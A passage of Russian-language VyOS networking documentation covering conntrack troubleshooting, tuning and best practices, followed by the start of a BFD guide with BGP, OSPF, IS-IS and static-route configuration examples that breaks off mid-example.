conntrack -L -p udp | grep -E "10[0-9]{3}|1[1-9][0-9]{3}|20000"

# Проверка expect table (динамические RTP порты)
cat /proc/net/nf_conntrack_expect

# Статистика conntrack
show conntrack statistics

# Мониторинг в реальном времени
sudo conntrack -E -p udp

# Тест регистрации SIP (с IP-телефона)
# Проверить логи:
show log conntrack | match udp | match 5060
```

### Диагностика проблем VoIP

#### Проблема: Звонок устанавливается, но нет аудио (one-way или no-way audio)

**Причина:** SIP ALG не обрабатывает SDP-сообщения, RTP-пакеты блокируются.

**Решение:**

```bash
# Проверить, что SIP helper включен
show system conntrack modules

# Если отключен, включить:
delete system conntrack modules sip disable
commit
save

# Перезагрузить conntrack modules
sudo rmmod nf_nat_sip
sudo rmmod nf_conntrack_sip
sudo modprobe nf_conntrack_sip
sudo modprobe nf_nat_sip

# Проверить expect table
cat /proc/net/nf_conntrack_expect
# Должны появляться записи при звонках
```

#### Проблема: Регистрация пропадает через 30-60 секунд

**Причина:** Слишком короткий UDP таймаут, SIP keep-alive не успевает обновить соединение.

**Решение:**

```bash
# Увеличить UDP таймауты
set system conntrack timeout udp stream '300'
set system conntrack timeout udp other '180'

# Или кастомный таймаут для SIP
set system conntrack timeout custom ipv4 rule 5 destination port '5060'
set system conntrack timeout custom ipv4 rule 5 protocol 'udp'
set system conntrack timeout custom ipv4 rule 5 protocol udp stream '600'  # 10 минут

commit
save

# Настроить keep-alive на SIP-клиентах (обычно 60-90 секунд)
```

#### Проблема: RTP пакеты приходят с задержкой или пропадают

**Причина:** Conntrack table full или QoS проблемы.

**Решение:**

```bash
# Проверить заполненность таблицы
echo "scale=2; $(cat /proc/sys/net/netfilter/nf_conntrack_count) * 100 / $(cat /proc/sys/net/netfilter/nf_conntrack_max)" | bc

# Если >80%, увеличить размер
set system conntrack table-size '131072'
commit

# Проверить QoS статистику
show traffic-policy
show interfaces ethernet eth0 statistics

# Временно отключить QoS для теста
delete interfaces ethernet eth0 traffic-policy
commit
```

### Рекомендации для VK Cloud

1. **Floating IP** - используйте статический внешний IP для стабильной SIP-регистрации
2. **Security Groups** - настройте правила для UDP 5060 и 10000-20000
3. **Bandwidth** - выбирайте тарифы с гарантированной полосой для VoIP
4. **Monitoring** - используйте VK Cloud мониторинг для отслеживания packet loss
5. **Backup Gateway** - настройте второй VyOS инстанс для failover

### Конфигурация IP-телефонов

Для корректной работы через NAT настройте на IP-телефонах:

```
SIP Server: sip.provider.ru
SIP Port: 5060
RTP Port Range: 10000-20000
NAT Traversal: STUN или Keep-Alive
Keep-Alive Interval: 60 seconds
DTMF Method: RFC2833
Codec: G.711 (a-law/u-law) или G.729
```

## Команды верификации

### Просмотр таблицы соединений

```bash
# Показать все соединения
show conntrack table ipv4

# Показать IPv6 соединения
show conntrack table ipv6

# Фильтрация по протоколу
conntrack -L -p tcp
conntrack -L -p udp
conntrack -L -p icmp

# Фильтрация по адресу источника
conntrack -L -s 192.168.1.100

# Фильтрация по адресу назначения
conntrack -L -d 8.8.8.8

# Фильтрация по порту
conntrack -L -p tcp --dport 443
conntrack -L -p tcp --sport 80

# Подсчет количества соединений
show conntrack table ipv4 | count
conntrack -L | wc -l

# Сортировка по IP-адресам
conntrack -L -o extended | awk '{print $5}' | sort | uniq -c | sort -rn

# Топ 20 хостов по количеству соединений
conntrack -L -o extended | awk '{print $5}' | sort | uniq -c | sort -rn | head -20
```

### Статистика conntrack

```bash
# Общая статистика
show conntrack statistics

# Детальная статистика из /proc
cat /proc/net/stat/nf_conntrack

# Текущее использование таблицы
cat /proc/sys/net/netfilter/nf_conntrack_count

# Максимальный размер таблицы
cat /proc/sys/net/netfilter/nf_conntrack_max

# Процент заполнения таблицы
echo "scale=2; $(cat /proc/sys/net/netfilter/nf_conntrack_count) * 100 / $(cat /proc/sys/net/netfilter/nf_conntrack_max)" | bc

# Статистика по протоколам
conntrack -S
```

### Мониторинг в реальном времени

```bash
# Отслеживание новых соединений
sudo conntrack -E

# Фильтр по типу события
sudo conntrack -E -e NEW          # Только новые
sudo conntrack -E -e DESTROY      # Только уничтожаемые
sudo conntrack -E -e UPDATE       # Только обновления

# Фильтр по протоколу
sudo conntrack -E -p tcp
sudo conntrack -E -p udp

# Комбинированные фильтры
sudo conntrack -E -e NEW -p tcp --dport 80
```

### Управление соединениями

```bash
# Удалить конкретное соединение
sudo conntrack -D -s 192.168.1.100 -p tcp --dport 80

# Удалить все соединения от IP
sudo conntrack -D -s 192.168.1.100

# Удалить все соединения (осторожно!)
sudo conntrack -F

# Обновить таймаут соединения
sudo conntrack -U -s 192.168.1.100 -p tcp --dport 22
```

### Проверка helper modules

```bash
# Просмотр загруженных модулей conntrack
lsmod | grep nf_conntrack

# Проверка конкретных helper modules
lsmod | grep nf_conntrack_ftp
lsmod | grep nf_conntrack_sip
lsmod | grep nf_conntrack_tftp
lsmod | grep nf_conntrack_pptp

# Параметры модулей
cat /sys/module/nf_conntrack_*/parameters/*
```

### Проверка expect table

```bash
# Показать expect table (используется helper modules)
cat /proc/net/nf_conntrack_expect

# Для SIP ALG здесь будут динамические RTP порты
# Для FTP здесь будут динамические data-соединения
```

### Проверка ignore rules

```bash
# Показать настроенные ignore правила
show system conntrack ignore

# Проверить, игнорируется ли трафик (через iptables raw table)
sudo iptables -t raw -L -n -v

# Статистика по raw таблице
sudo iptables -t raw -L -n -v --line-numbers
```

## Troubleshooting

### Проблема: "nf_conntrack: table full, dropping packet"

**Симптомы:**
- В логах (`dmesg`) появляются сообщения "nf_conntrack: table full, dropping packet"
- Пакеты дропаются
- Новые соединения не устанавливаются

**Диагностика:**

```bash
# Проверить текущее использование
cat /proc/sys/net/netfilter/nf_conntrack_count
cat /proc/sys/net/netfilter/nf_conntrack_max

# Процент заполнения
echo "scale=2; $(cat /proc/sys/net/netfilter/nf_conntrack_count) * 100 / $(cat /proc/sys/net/netfilter/nf_conntrack_max)" | bc

# Проверить логи
dmesg | grep "nf_conntrack: table full"
show log | match "nf_conntrack"
```

**Решение 1: Увеличение размера таблицы**

```bash
# Увеличить table-size
set system conntrack table-size '524288'   # Или больше, в зависимости от нагрузки
set system conntrack hash-size '131072'    # hash-size = table-size / 4
commit
save

# Применится после перезагрузки или немедленно:
sudo sysctl -w net.netfilter.nf_conntrack_max=524288
```

**Решение 2: Оптимизация таймаутов**

```bash
# Уменьшить таймауты для более быстрого освобождения записей
set system conntrack timeout tcp established '3600'   # Вместо 432000 (5 дней)
set system conntrack timeout tcp time-wait '30'       # Вместо 120
set system conntrack timeout udp stream '60'          # Вместо 180
commit
save
```

**Решение 3: Использование ignore rules**

```bash
# Исключить внутренний трафик, не требующий отслеживания
set system conntrack ignore rule 10 source address '10.0.0.0/8'
set system conntrack ignore rule 10 destination address '10.0.0.0/8'
commit
save
```

### Проблема: Высокая нагрузка на CPU из-за conntrack

**Симптомы:**
- Высокий CPU usage в softirq
- `top` показывает высокий %si (software interrupts)
- Производительность сети снижена

**Диагностика:**

```bash
# Проверить CPU usage
top
# Обратить внимание на %si

# Статистика conntrack
show conntrack statistics

# Количество соединений
cat /proc/sys/net/netfilter/nf_conntrack_count
```

**Решение 1: Оптимизация hash-size**

```bash
# Увеличить hash-size для ускорения поиска
# Рекомендация: hash-size = table-size / 4
set system conntrack hash-size '131072'   # Для table-size 524288
commit
save
```

**Решение 2: Использование ignore rules для доверенного трафика**

```bash
# Bypass conntrack для внутреннего трафика
set system conntrack ignore rule 10 source address '192.168.0.0/16'
set system conntrack ignore rule 10 destination address '192.168.0.0/16'
commit
save
```

**Решение 3: Отключение неиспользуемых helper modules**

```bash
# Helper modules добавляют overhead
set system conntrack modules ftp disable
set system conntrack modules h323 disable
set system conntrack modules nfs disable
set system conntrack modules pptp disable
set system conntrack modules sqlnet disable
set system conntrack modules tftp disable
# Оставить только необходимые (например, SIP для VoIP)
commit
save
```

### Проблема: SIP/VoIP не работает через NAT

**Симптомы:**
- SIP регистрация успешна, но нет аудио (one-way или no-way audio)
- RTP пакеты не проходят
- Звонки обрываются

**Диагностика:**

```bash
# Проверить, включен ли SIP helper
show system conntrack modules | match sip

# Проверить expect table (должны быть динамические RTP порты)
cat /proc/net/nf_conntrack_expect

# Мониторинг SIP соединений
conntrack -L -p udp --dport 5060

# Логирование для отладки
set system conntrack log event new
set system conntrack log event new protocol 'udp'
commit
show log conntrack | match 5060
```

**Решение 1: Включение SIP helper**

```bash
# Убедиться, что SIP helper НЕ отключен
delete system conntrack modules sip disable
commit
save

# Перезагрузить модули (если не помогло)
sudo rmmod nf_nat_sip
sudo rmmod nf_conntrack_sip
sudo modprobe nf_conntrack_sip
sudo modprobe nf_nat_sip
```

**Решение 2: Увеличение expect-table-size**

```bash
# SIP ALG использует expect table для динамических RTP портов
set system conntrack expect-table-size '4096'
commit
save
```

**Решение 3: Настройка таймаутов UDP**

```bash
# Увеличить UDP таймауты для стабильной регистрации
set system conntrack timeout udp stream '300'
set system conntrack timeout udp other '180'

# Кастомные таймауты для SIP/RTP
set system conntrack timeout custom ipv4 rule 10 destination port '5060'
set system conntrack timeout custom ipv4 rule 10 protocol 'udp'
set system conntrack timeout custom ipv4 rule 10 protocol udp stream '300'

set system conntrack timeout custom ipv4 rule 20 destination port '10000-20000'
set system conntrack timeout custom ipv4 rule 20 protocol 'udp'
set system conntrack timeout custom ipv4 rule 20 protocol udp stream '180'
commit
save
```

**Решение 4: Firewall правила для RTP**

```bash
# Разрешить RTP порты (обычно 10000-20000)
set firewall ipv4 name WAN_LOCAL rule 100 action 'accept'
set firewall ipv4 name WAN_LOCAL rule 100 destination port '10000-20000'
set firewall ipv4 name WAN_LOCAL rule 100 protocol 'udp'
commit
save
```

### Проблема: FTP не работает через NAT

**Симптомы:**
- FTP LIST команда висит
- Passive mode не работает
- Active mode не работает

**Диагностика:**

```bash
# Проверить FTP helper
show system conntrack modules | match ftp
lsmod | grep nf_conntrack_ftp

# Мониторинг FTP соединений
conntrack -L -p tcp --dport 21

# Expect table для FTP data-соединений
cat /proc/net/nf_conntrack_expect | grep ftp
```

**Решение:**

```bash
# Включить FTP helper
delete system conntrack modules ftp disable
commit
save

# Увеличить expect-table-size
set system conntrack expect-table-size '2048'
commit
save

# Firewall: разрешить FTP data connections (passive)
set firewall ipv4 name WAN_LOCAL rule 110 action 'accept'
set firewall ipv4 name WAN_LOCAL rule 110 destination port '1024-65535'
set firewall ipv4 name WAN_LOCAL rule 110 protocol 'tcp'
set firewall ipv4 name WAN_LOCAL rule 110 state related
commit
save
```

### Проблема: Медленный поиск в conntrack table

**Симптомы:**
- Высокая latency
- Медленная обработка пакетов
- Статистика показывает много search restarts

**Диагностика:**

```bash
# Проверить статистику поиска
cat /proc/net/stat/nf_conntrack
# Колонка "search_restart" - количество перезапусков поиска

# Соотношение hash-size к table-size
echo "Current hash-size: $(cat /proc/sys/net/netfilter/nf_conntrack_buckets)"
echo "Current table-size: $(cat /proc/sys/net/netfilter/nf_conntrack_max)"
```

**Решение:**

```bash
# Увеличить hash-size (рекомендация: table-size / 4)
set system conntrack hash-size '131072'   # Для table-size 524288
commit
save

# Применить немедленно (до перезагрузки)
sudo sysctl -w net.netfilter.nf_conntrack_buckets=131072
```

## Best Practices

### 1. Sizing таблицы соединений

**Оценка требований:**

```bash
# Формула для расчета table-size:
# Table Size = (Peak Concurrent Connections × 1.5) + 10% safety margin

# Пример для 1000 пользователей:
# Среднее 20 соединений на пользователя = 20000
# Peak usage (×1.5) = 30000
# Safety margin (10%) = 33000
# Округление до степени 2: 65536
```

**Соотношение параметров:**

```bash
# Правило thumb:
# hash-size = table-size / 4
# expect-table-size = table-size / 128 (минимум 2048)

# Пример для table-size 524288:
set system conntrack table-size '524288'
set system conntrack hash-size '131072'      # 524288 / 4
set system conntrack expect-table-size '4096' # 524288 / 128
```

### 2. Оптимизация таймаутов

**HTTP/HTTPS сервисы (короткие соединения):**

```bash
set system conntrack timeout tcp established '1800'   # 30 минут
set system conntrack timeout tcp time-wait '30'
set system conntrack timeout tcp close-wait '30'
```

**SSH/VPN сервисы (долгие соединения):**

```bash
set system conntrack timeout tcp established '86400'  # 24 часа
```

**VoIP/Streaming (UDP):**

```bash
set system conntrack timeout udp stream '300'   # 5 минут
set system conntrack timeout udp other '60'     # 1 минута
```

### 3. Helper Modules Management

**Принцип минимальных привилегий:**

```bash
# Отключить ВСЕ неиспользуемые helper modules
# Включать только то, что действительно необходимо

# Пример: Только SIP для VoIP офиса
set system conntrack modules ftp disable
set system conntrack modules h323 disable
set system conntrack modules nfs disable
set system conntrack modules pptp disable
set system conntrack modules sqlnet disable
set system conntrack modules tftp disable
# SIP остается включенным (по умолчанию)
```

**Проверка после изменений:**

```bash
# Проверить загруженные модули
lsmod | grep nf_conntrack
```

### 4. Использование Ignore Rules

**Когда использовать:**

- Внутренний трафик между доверенными серверами
- Health checks от load balancers
- Высокочастотный мониторинг (SNMP, syslog)
- Трафик, не требующий NAT или stateful filtering

**Когда НЕ использовать:**

- Трафик, проходящий через NAT
- Трафик, защищаемый stateful firewall
- Непредсказуемый или недоверенный трафик

**Пример корректного использования:**

```bash
# Backend серверы, общающиеся напрямую (без NAT)
set system conntrack ignore rule 10 source address '10.10.0.0/24'
set system conntrack ignore rule 10 destination address '10.10.0.0/24'

# Health checks от известного load balancer
set system conntrack ignore rule 20 source address '10.0.1.10'
set system conntrack ignore rule 20 destination port '80,443'
set system conntrack ignore rule 20 protocol 'tcp'
```

### 5. Мониторинг и Alerting

**Критичные метрики:**

```bash
# 1. Процент заполнения таблицы (alert если >80%)
echo "scale=2; $(cat /proc/sys/net/netfilter/nf_conntrack_count) * 100 / $(cat /proc/sys/net/netfilter/nf_conntrack_max)" | bc

# 2. Количество table full ошибок
dmesg | grep -c "nf_conntrack: table full"

# 3. Количество соединений по состояниям
conntrack -S
```

**Автоматизация мониторинга:**

```bash
# Скрипт для проверки (добавить в cron)
#!/bin/bash
CURRENT=$(cat /proc/sys/net/netfilter/nf_conntrack_count)
MAX=$(cat /proc/sys/net/netfilter/nf_conntrack_max)
PERCENT=$(echo "scale=2; $CURRENT * 100 / $MAX" | bc)

if (( $(echo "$PERCENT > 80" | bc -l) )); then
    echo "WARNING: Conntrack table at ${PERCENT}% capacity"
    # Отправить alert (email, telegram, etc.)
fi
```

### 6. Логирование

**Production окружение:**

```bash
# НЕ включать постоянное логирование на production
# Используйте только для временной отладки

# Для отладки конкретной проблемы:
set system conntrack log event new
set system conntrack log event new protocol 'tcp'
set system conntrack log event new queue-size '10000'
commit

# После отладки ОБЯЗАТЕЛЬНО отключить:
delete system conntrack log
commit
save
```

**Development окружение:**

```bash
# Можно включить более детальное логирование
set system conntrack log event new
set system conntrack log event update
set system conntrack log event destroy
commit
```

### 7. Performance Tuning

**Для высоконагруженных систем:**

```bash
# 1. Увеличить table и hash размеры
set system conntrack table-size '2097152'
set system conntrack hash-size '524288'

# 2. Агрессивные таймауты
set system conntrack timeout tcp established '3600'
set system conntrack timeout tcp time-wait '30'
set system conntrack timeout udp stream '60'

# 3. Отключить все неиспользуемые helpers
set system conntrack modules ftp disable
set system conntrack modules h323 disable
set system conntrack modules nfs disable
set system conntrack modules pptp disable
set system conntrack modules sip disable
set system conntrack modules sqlnet disable
set system conntrack modules tftp disable

# 4. Использовать ignore rules для внутреннего трафика
set system conntrack ignore rule 10 source address '10.0.0.0/8'
set system conntrack ignore rule 10 destination address '10.0.0.0/8'

# 5. TCP параметры
set system conntrack tcp half-open-connections '2048'
set system conntrack tcp loose 'enable'
set system conntrack tcp max-retrans '3'

commit
save
```

### 8. Безопасность

**Защита от SYN flood:**

```bash
# Ограничение half-open соединений
set system conntrack tcp half-open-connections '512'
set system conntrack tcp max-retrans '3'
```

**Отключение loose tracking (если возможно):**

```bash
# Loose tracking позволяет mid-stream соединения
# Отключите для большей безопасности (может сломать некоторые сценарии)
set system conntrack tcp loose 'disable'
```

**Защита от conntrack table exhaustion:**

```bash
# Firewall rate limiting для новых соединений
set firewall ipv4 name WAN_LOCAL rule 5 action 'drop'
set firewall ipv4 name WAN_LOCAL rule 5 recent count '100'
set firewall ipv4 name WAN_LOCAL rule 5 recent time '60'
set firewall ipv4 name WAN_LOCAL rule 5 state new
```

### 9. Документация конфигурации

**Используйте description:**

```bash
# Всегда документируйте настройки
set system conntrack timeout custom ipv4 rule 10 description 'Short timeout for HTTP/HTTPS'
set system conntrack ignore rule 10 description 'Bypass internal DNS traffic'

# Документируйте причины изменения значений по умолчанию
# (можно в комментариях к конфигурации или в отдельном файле)
```

### 10. Тестирование изменений

**Процедура внесения изменений:**

```bash
# 1. Сделать backup конфигурации
save /config/backup-$(date +%Y%m%d-%H%M%S).config

# 2. Применить изменения в configure mode
configure
set system conntrack table-size '524288'
commit

# 3. Проверить работоспособность
exit
show conntrack statistics
show conntrack table ipv4 | count

# 4. Мониторинг в течение 30-60 минут
# Проверить метрики, логи, производительность

# 5. Если все OK - сохранить
save

# 6. Если проблемы - откатить
load /config/backup-YYYYMMDD-HHMMSS.config
commit
save
```

## Заключение

Connection Tracking (conntrack) является критически важным компонентом VyOS, обеспечивающим работу stateful firewall и NAT. Правильная настройка conntrack:

- **Повышает производительность** - оптимизация размера таблицы и таймаутов
- **Экономит ресурсы** - использование ignore rules для исключения ненужного трафика
- **Обеспечивает стабильность** - корректная работа сложных протоколов через helper modules
- **Улучшает безопасность** - отключение неиспользуемых modules и настройка параметров TCP

### Ключевые рекомендации

1. **Sizing** - рассчитывайте размер таблицы на основе реальной нагрузки с запасом
2. **Timeouts** - настраивайте таймауты в соответствии с типом трафика
3. **Helpers** - отключайте неиспользуемые helper modules
4. **Monitoring** - регулярно проверяйте метрики и логи
5. **Testing** - тестируйте изменения перед применением на production

### Дополнительные ресурсы

- Официальная документация VyOS: https://docs.vyos.io/en/latest/configuration/system/conntrack.html
- Linux conntrack-tools: http://conntrack-tools.netfilter.org/
- Netfilter documentation: https://www.netfilter.org/documentation/
- VyOS Forum: https://forum.vyos.io/


---

# BFD - Bidirectional Forwarding Detection

Source: https://opennix.org/docs/vyos/routing/vyos-bfd/


## Обзор

BFD (Bidirectional Forwarding Detection)  - это протокол, предназначенный для быстрого обнаружения отказов в путях пересылки данных между двумя маршрутизаторами или коммутаторами. BFD обеспечивает единый механизм обнаружения отказов для любых сетевых протоколов и топологий.

### Основные характеристики

- **RFC стандарты**: RFC 5880 (основной протокол), RFC 5881 (для IPv4/IPv6), RFC 5883 (multihop)
- **Быстрое обнаружение**: субсекундное обнаружение отказов (до 50 мс)
- **Независимость от протокола**: работает с BGP, OSPF, IS-IS, статическими маршрутами
- **Низкие накладные расходы**: использует небольшие UDP пакеты
- **Масштабируемость**: может мониторить тысячи сессий одновременно

### Принцип работы

BFD устанавливает сессию между двумя соседями и периодически обменивается небольшими контрольными пакетами. Если соседнее устройство не отвечает в течение заданного времени (определяемого интервалом передачи и множителем), сессия объявляется неактивной, и протоколы маршрутизации могут быстро отреагировать на изменение топологии.

### Преимущества BFD

1. **Быстрое обнаружение отказов**: значительно быстрее, чем встроенные механизмы протоколов маршрутизации
2. **Снижение нагрузки**: протоколы маршрутизации не требуют частых hello-сообщений
3. **Универсальность**: один механизм для всех протоколов маршрутизации
4. **Гибкость**: настраиваемые интервалы и множители для различных сценариев
5. **Поддержка различных топологий**: single-hop и multi-hop режимы

### Режимы работы BFD

#### Asynchronous Mode (Асинхронный режим)
Стандартный режим работы, при котором оба узла периодически отправляют контрольные пакеты. Это основной режим, используемый в большинстве развертываний.

#### Demand Mode (Режим по требованию)
После установления сессии узлы прекращают отправку периодических пакетов. Используется редко и не поддерживается в большинстве реализаций.

#### Echo Mode (Режим эхо)
Узел отправляет BFD пакеты самому себе через удаленную систему. Позволяет обнаруживать отказы пути пересылки без нагрузки на процессор удаленной системы.

## Базовая конфигурация

### Настройка BFD peer

Основная конфигурация BFD peer включает определение соседа и параметров мониторинга:

```bash
# Базовая конфигурация BFD peer
set protocols bfd peer 192.168.1.1

# Настройка интервалов
set protocols bfd peer 192.168.1.1 interval transmit 300
set protocols bfd peer 192.168.1.1 interval receive 300

# Настройка множителя
set protocols bfd peer 192.168.1.1 multiplier 3

# Привязка к интерфейсу (для single-hop)
set protocols bfd peer 192.168.1.1 source interface eth0

# Сохранение конфигурации
commit
save
```

### Параметры таймеров

#### Transmit Interval (Интервал передачи)
Минимальный интервал между отправкой BFD контрольных пакетов.

```bash
# Диапазон: 10-60000 мс
# По умолчанию: 300 мс
set protocols bfd peer 192.168.1.1 interval transmit 300
```

#### Receive Interval (Интервал приема)
Минимальный интервал, с которым локальная система может принимать BFD контрольные пакеты.

```bash
# Диапазон: 10-60000 мс
# По умолчанию: 300 мс
set protocols bfd peer 192.168.1.1 interval receive 300
```

#### Multiplier (Множитель)
Количество пропущенных пакетов до объявления сессии неактивной.

```bash
# Диапазон: 2-255
# По умолчанию: 3
set protocols bfd peer 192.168.1.1 multiplier 3
```

**Время обнаружения отказа** = Receive Interval × Multiplier

Пример: 300 мс × 3 = 900 мс (0.9 секунды)

### Echo Mode (Режим эхо)

Echo mode позволяет узлу отправлять пакеты самому себе через соседа для проверки пути пересылки:

```bash
# Включение echo mode
set protocols bfd peer 192.168.1.1 echo-mode

# Настройка echo интервала
set protocols bfd peer 192.168.1.1 interval echo-interval 500

# Echo интервал диапазон: 10-60000 мс
```

### Multi-hop BFD

Multi-hop BFD используется для мониторинга путей через несколько переходов (например, для eBGP соседей):

```bash
# Настройка multi-hop BFD
set protocols bfd peer 10.0.0.1 multihop

# Указание исходного адреса
set protocols bfd peer 10.0.0.1 source address 10.0.0.2

# Настройка минимального TTL (опционально)
set protocols bfd peer 10.0.0.1 minimum-ttl 254

# Настройка интервалов
set protocols bfd peer 10.0.0.1 interval transmit 1000
set protocols bfd peer 10.0.0.1 interval receive 1000
set protocols bfd peer 10.0.0.1 multiplier 3
```

### Профили BFD

Профили позволяют создавать шаблоны конфигурации BFD для повторного использования:

```bash
# Создание профиля
set protocols bfd profile FAST-FAILOVER interval transmit 100
set protocols bfd profile FAST-FAILOVER interval receive 100
set protocols bfd profile FAST-FAILOVER multiplier 3

# Создание консервативного профиля
set protocols bfd profile SLOW-LINK interval transmit 1000
set protocols bfd profile SLOW-LINK interval receive 1000
set protocols bfd profile SLOW-LINK multiplier 5

# Применение профиля к peer
set protocols bfd peer 192.168.1.1 profile FAST-FAILOVER
```

### Отключение BFD peer

```bash
# Административное отключение peer
set protocols bfd peer 192.168.1.1 shutdown

# Удаление peer
delete protocols bfd peer 192.168.1.1
```

## Интеграция с протоколами маршрутизации

### BFD с BGP

BFD значительно ускоряет обнаружение отказов BGP сессий, сокращая время конвергенции с минут до секунд или миллисекунд.

#### Конфигурация для IPv4 BGP

```bash
# Настройка BFD peer
set protocols bfd peer 192.168.1.1 interval transmit 300
set protocols bfd peer 192.168.1.1 interval receive 300
set protocols bfd peer 192.168.1.1 multiplier 3

# Включение BFD для BGP соседа
set protocols bgp neighbor 192.168.1.1 bfd

# Опционально: настройка профиля BFD для BGP
set protocols bgp neighbor 192.168.1.1 bfd profile FAST-FAILOVER

# Полная конфигурация BGP с BFD
set protocols bgp system-as 65001
set protocols bgp neighbor 192.168.1.1 remote-as 65002
set protocols bgp neighbor 192.168.1.1 address-family ipv4-unicast
set protocols bgp neighbor 192.168.1.1 bfd
```

#### Конфигурация для IPv6 BGP

```bash
# Настройка BFD peer для IPv6
set protocols bfd peer 2001:db8::1 interval transmit 300
set protocols bfd peer 2001:db8::1 interval receive 300
set protocols bfd peer 2001:db8::1 multiplier 3

# Включение BFD для IPv6 BGP соседа
set protocols bgp neighbor 2001:db8::1 bfd
set protocols bgp neighbor 2001:db8::1 address-family ipv6-unicast
```

#### Multi-hop BGP с BFD

```bash
# Настройка multi-hop BFD для eBGP
set protocols bfd peer 10.0.0.1 multihop
set protocols bfd peer 10.0.0.1 source address 10.0.0.2
set protocols bfd peer 10.0.0.1 interval transmit 500
set protocols bfd peer 10.0.0.1 interval receive 500
set protocols bfd peer 10.0.0.1 multiplier 3

# Настройка eBGP с multi-hop
set protocols bgp neighbor 10.0.0.1 ebgp-multihop 2
set protocols bgp neighbor 10.0.0.1 bfd
set protocols bgp neighbor 10.0.0.1 remote-as 65002
```

#### BGP Peer Groups с BFD

```bash
# Создание peer group с BFD
set protocols bgp peer-group ISP bfd
set protocols bgp peer-group ISP remote-as 65000
set protocols bgp peer-group ISP address-family ipv4-unicast

# Применение peer group к соседям
set protocols bgp neighbor 192.168.1.1 peer-group ISP
set protocols bgp neighbor 192.168.1.2 peer-group ISP

# Настройка BFD для каждого peer
set protocols bfd peer 192.168.1.1 interval transmit 300
set protocols bfd peer 192.168.1.1 interval receive 300
set protocols bfd peer 192.168.1.1 multiplier 3

set protocols bfd peer 192.168.1.2 interval transmit 300
set protocols bfd peer 192.168.1.2 interval receive 300
set protocols bfd peer 192.168.1.2 multiplier 3
```

### BFD с OSPF

BFD может ускорить обнаружение отказов в OSPF сетях, что особенно полезно в критичных для времени приложениях.

#### OSPFv2 (IPv4)

```bash
# Включение BFD на интерфейсе OSPF
set protocols ospf interface eth0 bfd

# Настройка BFD peer для соседа OSPF
set protocols bfd peer 192.168.1.1 source interface eth0
set protocols bfd peer 192.168.1.1 interval transmit 300
set protocols bfd peer 192.168.1.1 interval receive 300
set protocols bfd peer 192.168.1.1 multiplier 3

# Полная конфигурация OSPF с BFD
set protocols ospf area 0 network 192.168.1.0/24
set protocols ospf interface eth0 bfd
set protocols ospf parameters router-id 192.168.1.2
```

#### OSPFv3 (IPv6)

```bash
# Включение BFD на интерфейсе OSPFv3
set protocols ospfv3 interface eth0 bfd

# Настройка BFD peer для IPv6
set protocols bfd peer fe80::1 source interface eth0
set protocols bfd peer fe80::1 interval transmit 300
set protocols bfd peer fe80::1 interval receive 300
set protocols bfd peer fe80::1 multiplier 3

# Полная конфигурация OSPFv3 с BFD
set protocols ospfv3 area 0.0.0.0 interface eth0
set protocols ospfv3 interface eth0 bfd
```

#### BFD на всех OSPF интерфейсах

```bash
# Включение BFD для нескольких интерфейсов
set protocols ospf interface eth0 bfd
set protocols ospf interface eth1 bfd
set protocols ospf interface eth2 bfd

# Настройка глобальных параметров OSPF
set protocols ospf area 0 network 10.0.0.0/8
set protocols ospf passive-interface default
set protocols ospf passive-interface-exclude eth0
set protocols ospf passive-interface-exclude eth1
set protocols ospf passive-interface-exclude eth2
```

### BFD с IS-IS

IS-IS также поддерживает интеграцию с BFD для быстрого обнаружения отказов.

```bash
# Настройка IS-IS instance
set protocols isis CORE net 49.0001.1921.6800.1001.00

# Включение BFD на интерфейсе IS-IS
set protocols isis CORE interface eth0 bfd

# Настройка BFD peer
set protocols bfd peer 192.168.1.1 source interface eth0
set protocols bfd peer 192.168.1.1 interval transmit 300
set protocols bfd peer 192.168.1.1 interval receive 300
set protocols bfd peer 192.168.1.1 multiplier 3

# Дополнительная конфигурация IS-IS
set protocols isis CORE interface eth0 network point-to-point
set protocols isis CORE level 2
```

### BFD со статическими маршрутами

BFD может мониторить доступность next-hop для статических маршрутов, обеспечивая быстрый failover.

#### Базовая конфигурация

```bash
# Создание статического маршрута с BFD мониторингом
set protocols static route 10.0.0.0/8 next-hop 192.168.1.1 bfd

# Настройка BFD peer для next-hop
set protocols bfd peer 192.168.1.1 source interface eth0
set protocols bfd peer 192.168.1.1 interval transmit 300
set protocols bfd peer 192.168.1.1 interval receive 300
set protocols bfd peer 192.168.1.1 multiplier 3
```

#### Multi-hop статические маршруты с BFD

```bash
# Создание multi-hop BFD сессии
set protocols bfd peer 10.0.0.1 multihop
set protocols bfd peer 10.0.0.1 source address 10.0.0.2
set protocols bfd peer 10.0.0.1 interval transmit 500
set protocols bfd peer 10.0.0.1 interval receive 500
set protocols bfd peer 10.0.0.1 multiplier 3

# Статический маршрут с multi-hop BFD
set protocols static route 172.16.0.0/12 next-hop 10.0.0.1 bfd multi-hop
```

#### IPv6 статические маршруты с BFD

```bash
# Настройка BFD для IPv6 next-hop
set protocols bfd peer 2001:db8::1 source interface eth0
set protocols bfd peer 2001:db8::1 interval transmit 300
set protocols bfd peer 2001:db8::1 interval receive 300
set protocols bfd peer 2001:db8::1 multiplier 3

# Создание IPv6 статического маршрута с BFD
set protocols static route6 2001:db8:100::/48 next-hop 2001:db8::1 bfd
```

#### Резервирование с несколькими next-hop

```bash
# Первичный маршрут с BFD
set protocols static route 0.0.0.0/0 next-hop 192.168.1.1 distance 10
set protocols static route 0.0.0.0/0 next-hop 192.168.1.1 bfd
set protocols bfd peer 192.168.1.1 source interface eth0
set protocols bfd peer 192.168.1.1 interval transmit 300
set protocols bfd peer 192.168.1.1 interval receive 300
set protocols bfd peer 192.168.1.1 multiplier 3

# Резервный маршрут с BFD
set protocols static route 0.0.0.0/0 next-hop 192.168.2.1 distance 20
set protocols static route 0.0.0.0/0 next-hop 192.168.2.1 bfd
set protocols bfd peer 192.168.2.1 source interface eth1
set protocols bfd peer 192.168.2.1 interval transmit 300
set protocols bfd peer 192.168.2.1 interval receive 300
set protocols bfd peer 192.168.2.1 multiplier 3
```

## Примеры для облачных платформ

### Пример 1: BFD с BGP в Yandex Cloud для быстрого failover

Сценарий: Два VyOS маршрутизатора в разных зонах доступности Yandex Cloud с BGP и BFD для обеспечения высокой доступности.

#### Топология
```
[VyOS-1 (ru-central1-a)]
     |
     | iBGP + BFD
     |
[VyOS-2 (ru-central1-b)]
```

#### Конфигурация VyOS-1 (192.168.1.1)

```bash
# Настройка интерфейсов
set interfaces ethernet eth0 address 192.168.1.1/24
set interfaces ethernet eth0 description 'Internal Network'

# Настройка BFD с агрессивными таймерами для облака
set protocols bfd peer 192.168.1.2 interval transmit 200
set protocols bfd peer 192.168.1.2 interval receive 200
